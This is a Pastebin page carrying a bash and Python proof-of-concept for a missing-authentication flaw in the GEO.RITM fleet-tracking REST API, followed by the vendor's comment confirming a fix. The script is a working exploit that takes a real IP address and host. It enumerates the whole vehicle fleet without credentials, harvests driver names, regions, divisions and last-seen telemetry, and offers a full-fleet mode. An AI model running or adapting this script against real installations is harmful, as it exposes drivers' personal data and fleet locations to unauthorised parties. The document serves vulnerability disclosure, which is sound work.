Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env bash
- #
- # GEO.RITM REST API — CWE-306 Missing Authentication PoC (read-only)
- # Demonstrates anonymous (unauthenticated) enumeration of the entire vehicle
- # fleet and disclosure of per-object attributes (division, region, driver PII,
- # vehicle type, status, last-seen telemetry) via the GEO.RITM REST API.
- # Affected endpoints (no auth filter): POST /restapi/objects/obj-import-ts/ (fleet
- # enumeration) and POST /restapi/objects/obj-groups/ (per-object attribute read).
- # The script is strictly READ-ONLY: only the two endpoints above are called,
- # enforced by a whitelist guard. No write/actuate endpoints (arm/disarm/out-set/
- # set-control-command/clearroutehistory) are ever invoked.
- set -euo pipefail
- TARGET="213.171.46.81:443"
- VHOST="ritm.avgust.com"
- OUTDIR="$(cd "$(dirname "$0")" && pwd)/out"
- DEMO_IDS=(986 139 542 1390 1263)
- LIMIT=25
- DELAY="0.1"
- MODE="demo"
- CUSTOM_IDS=""
- usage() {
- cat <<EOF
- Usage: $0 [options]
- (no options) demo mode: reads only ${DEMO_IDS[*]} — show output format
- --target HOST[:PORT] connection address (default ${TARGET}); default port 443
- Host header stays ${VHOST} on any node
- --limit N read the first N objects from enumeration (default ${LIMIT})
- --full read the ENTIRE fleet
- --ids "542 476" read specific objectIds (space- or comma-separated)
- --delay S delay between requests, sec (default ${DELAY})
- --out DIR artifacts directory (default ${OUTDIR})
- -h | --help this help
- EOF
- }
- while [[ $# -gt 0 ]]; do
- case "$1" in
- --target) TARGET="$2"; shift 2 ;;
- --limit) MODE="limit"; LIMIT="$2"; shift 2 ;;
- --full) MODE="full"; shift ;;
- --ids) MODE="ids"; CUSTOM_IDS="$2"; shift 2 ;;
- --delay) DELAY="$2"; shift 2 ;;
- --out) OUTDIR="$2"; shift 2 ;;
- -h|--help) usage; exit 0 ;;
- *) echo "Unknown option: $1" >&2; usage; exit 2 ;;
- esac
- done
- [[ "${TARGET}" == *:* ]] || TARGET="${TARGET}:443"
- BASE="https://${TARGET}/restapi"
- mkdir -p "$OUTDIR"
- IDS_FILE="${OUTDIR}/objectids.json"
- FLEET_FILE="${OUTDIR}/fleet.json"
- RECORDS="${OUTDIR}/_records.ndjson"
- ALLOWED_READ_EP="objects/obj-import-ts objects/obj-groups"
- ro_post() {
- local ep="$1" body="$2"
- case " ${ALLOWED_READ_EP} " in
- *" ${ep} "*) : ;;
- *) echo "DENIED: endpoint '${ep}' is not in the read-only allowlist. Aborting." >&2; exit 3 ;;
- esac
- curl -sk -m12 \
- -H "Host: ${VHOST}" -H "Content-Type: application/json" \
- -X POST -d "${body}" "${BASE}/${ep}/"
- }
- stage1_enumerate() {
- echo "[*] Stage 1: anonymous fleet enumeration — POST /restapi/objects/obj-import-ts/ {}" >&2
- ro_post "objects/obj-import-ts" '{}' > "${IDS_FILE}"
- local n
- n="$(python3 -c 'import json,sys;print(len(json.load(open(sys.argv[1]))))' "${IDS_FILE}" 2>/dev/null || echo '?')"
- echo "[+] Objects received: ${n} -> ${IDS_FILE}" >&2
- }
- stage2_read() {
- local ids=("$@")
- echo "[*] Stage 2: reading data for ${#ids[@]} objects (obj-groups + importTs), delay ${DELAY}s" >&2
- : > "${RECORDS}"
- local oid ts groups i=0
- for oid in "${ids[@]}"; do
- i=$((i+1))
- ts="$(python3 -c '
- import json,sys
- data=json.load(open(sys.argv[1])); oid=int(sys.argv[2])
- m=[x for x in data if x.get("id")==oid]
- print(m[0].get("importTs") if m else "null")
- ' "${IDS_FILE}" "${oid}" 2>/dev/null || echo null)"
- groups="$(ro_post "objects/obj-groups" "{\"objectId\":${oid}}")"
- [[ -z "${groups}" ]] && groups='[]'
- OID="${oid}" TS="${ts}" GRPJSON="${groups}" python3 -c '
- import json,os,sys
- oid=int(os.environ["OID"])
- ts_raw=os.environ["TS"].strip()
- try: ts=json.loads(ts_raw)
- except Exception: ts=None
- try: groups=json.loads(os.environ["GRPJSON"])
- except Exception: groups=[]
- sys.stdout.write(json.dumps({"objectId":oid,"importTs":ts,"groups":groups},ensure_ascii=False)+"\n")
- ' >> "${RECORDS}"
- printf '\r[+] read %d/%d (objectId=%s) ' "${i}" "${#ids[@]}" "${oid}" >&2
- sleep "${DELAY}"
- done
- echo >&2
- python3 -c '
- import json,sys
- recs=[json.loads(l) for l in open(sys.argv[1]) if l.strip()]
- json.dump(recs, open(sys.argv[2],"w"), ensure_ascii=False, indent=1)
- ' "${RECORDS}" "${FLEET_FILE}"
- rm -f "${RECORDS}"
- echo "[+] Raw fleet data -> ${FLEET_FILE}" >&2
- }
- render_py() {
- python3 - "$1" <<'PY'
- import json, re, sys, time
- fleet = json.load(open(sys.argv[1]))
- now_ms = time.time() * 1000
- re_recycle = re.compile(r"recycle\s*bin|корзин|^\s*root\s*:", re.I)
- re_region = re.compile(r"(област|обл\.|край|\bкр\.|республик|\bР\.\s?[А-ЯЁ]|округ|\bАО\b|Москва|Санкт-Петербург)", re.I)
- re_divis = re.compile(r"(отдел|отделен|филиал|подразделен|участок|склад|\bбаза\b|логистик|управлен)", re.I)
- re_person = re.compile(r"^[А-ЯЁ][а-яё]+\s+[А-ЯЁ]\.\s?[А-ЯЁ]\.?$|^[А-ЯЁ][а-яё]+\s+[А-ЯЁ][а-яё]+\s+[А-ЯЁ][а-яё]+$")
- TYPE_RULES = [
- (re.compile(r"автобус", re.I), "bus"),
- (re.compile(r"трактор", re.I), "tractor"),
- (re.compile(r"самосвал", re.I), "dump truck"),
- (re.compile(r"погрузчик", re.I), "loader"),
- (re.compile(r"полуприцеп|прицеп", re.I), "trailer"),
- (re.compile(r"фургон", re.I), "van"),
- (re.compile(r"спецтехник|спец\.|спецтранс", re.I), "special vehicle"),
- (re.compile(r"грузов|\bгрузовой\b|\bАТ\b", re.I), "truck"),
- (re.compile(r"легков|а/м", re.I), "car"),
- ]
- def gname(g):
- if isinstance(g, dict):
- for k in ("name", "groupName", "title"):
- if g.get(k):
- return str(g[k])
- return json.dumps(g, ensure_ascii=False)
- return str(g)
- def detect_type(names):
- for rx, label in TYPE_RULES:
- if any(rx.search(n) for n in names):
- return label
- return "-"
- def is_type(n):
- return any(rx.search(n) for rx, _ in TYPE_RULES)
- rows = []
- for o in fleet:
- oid = o.get("objectId")
- groups = o.get("groups") or []
- if isinstance(groups, dict):
- groups = [groups]
- names = [gname(g) for g in groups] if isinstance(groups, list) else []
- recycled = any(re_recycle.search(n) for n in names)
- names = [n for n in names if not re_recycle.search(n)]
- status = "recycled (deleted)" if recycled else "-"
- vtype = detect_type(names)
- driver = next((n for n in names if re_person.search(n)), "-")
- names_org = [n for n in names if not is_type(n) and not re_person.search(n)]
- region = next((n for n in names_org if re_region.search(n)), "-")
- div = next((n for n in names_org if re_divis.search(n)), None)
- if div is None:
- div = next((n for n in names_org if not re_region.search(n)), "-")
- ts = o.get("importTs")
- try:
- ts = float(ts)
- except (TypeError, ValueError):
- ts = 0
- if ts and ts > 0:
- last = time.strftime("%Y-%m-%d %H:%M", time.localtime(ts / 1000))
- age = str(int((now_ms - ts) // 86400000))
- else:
- last, age = "no data", "-"
- rows.append((str(oid), vtype, div, region, driver, status, last, age))
- hdr = ("objectId", "type", "division", "region", "driver", "status", "last seen", "age, days")
- sep = ("--------", "----", "--------", "------", "------", "------", "---------", "---------")
- print("\t".join(hdr))
- print("\t".join(sep))
- for r in rows:
- print("\t".join(r))
- PY
- }
- stage3_render() {
- echo "[*] Stage 3: human-readable fleet table" >&2
- echo >&2
- render_py "${FLEET_FILE}" | column -t -s $'\t'
- }
- select_ids() {
- case "${MODE}" in
- ids)
- echo "${CUSTOM_IDS}" | tr ',' ' ' ;;
- full)
- python3 -c 'import json,sys;[print(x["id"]) for x in json.load(open(sys.argv[1]))]' "${IDS_FILE}" ;;
- limit)
- python3 -c 'import json,sys;[print(x["id"]) for x in json.load(open(sys.argv[1]))]' "${IDS_FILE}" | head -n "${LIMIT}" ;;
- demo|*)
- printf '%s\n' "${DEMO_IDS[@]}" ;;
- esac
- }
- main() {
- stage1_enumerate
- mapfile -t IDS < <(select_ids)
- if [[ "${#IDS[@]}" -eq 0 ]]; then
- echo "Empty objectId list — nothing to read." >&2; exit 1
- fi
- if [[ "${MODE}" == "full" ]]; then
- echo "[!] FULL RUN over ${#IDS[@]} objects. Ctrl-C to cancel. Starting in 3s..." >&2
- sleep 3
- fi
- stage2_read "${IDS[@]}"
- stage3_render
- echo >&2
- echo "[i] Result: an unauthenticated external client exfiltrated the fleet inventory" >&2
- echo " (division/region/activity) by objectId" >&2
- }
- main
Comments
-
- Official response from NPO Ritm, the developer of GEO.RITM
- Thank you for reporting this security vulnerability.
- We confirm that the described vulnerability is known to us and has been addressed.
- The vulnerability was also reported to the Russian Federal Service for Technical and Export Control (FSTEC Russia) and registered under identifier BDU:2026-11235.
- Following our internal investigation, we confirmed the issue and implemented the necessary security fixes.
- The vulnerability has been fixed on our hosted GEO.RITM server at geo.ritm.ru.
- The fix is also included in GEO.RITM version 2.46, which is already available to our customers.
- Customers operating their own GEO.RITM installations are advised to update to version 2.46.
- We appreciate the efforts of the security research community in helping improve the security of our products.
- NPO Ritm
- https://www.ritm.ru/
Add Comment
Please, Sign In to add comment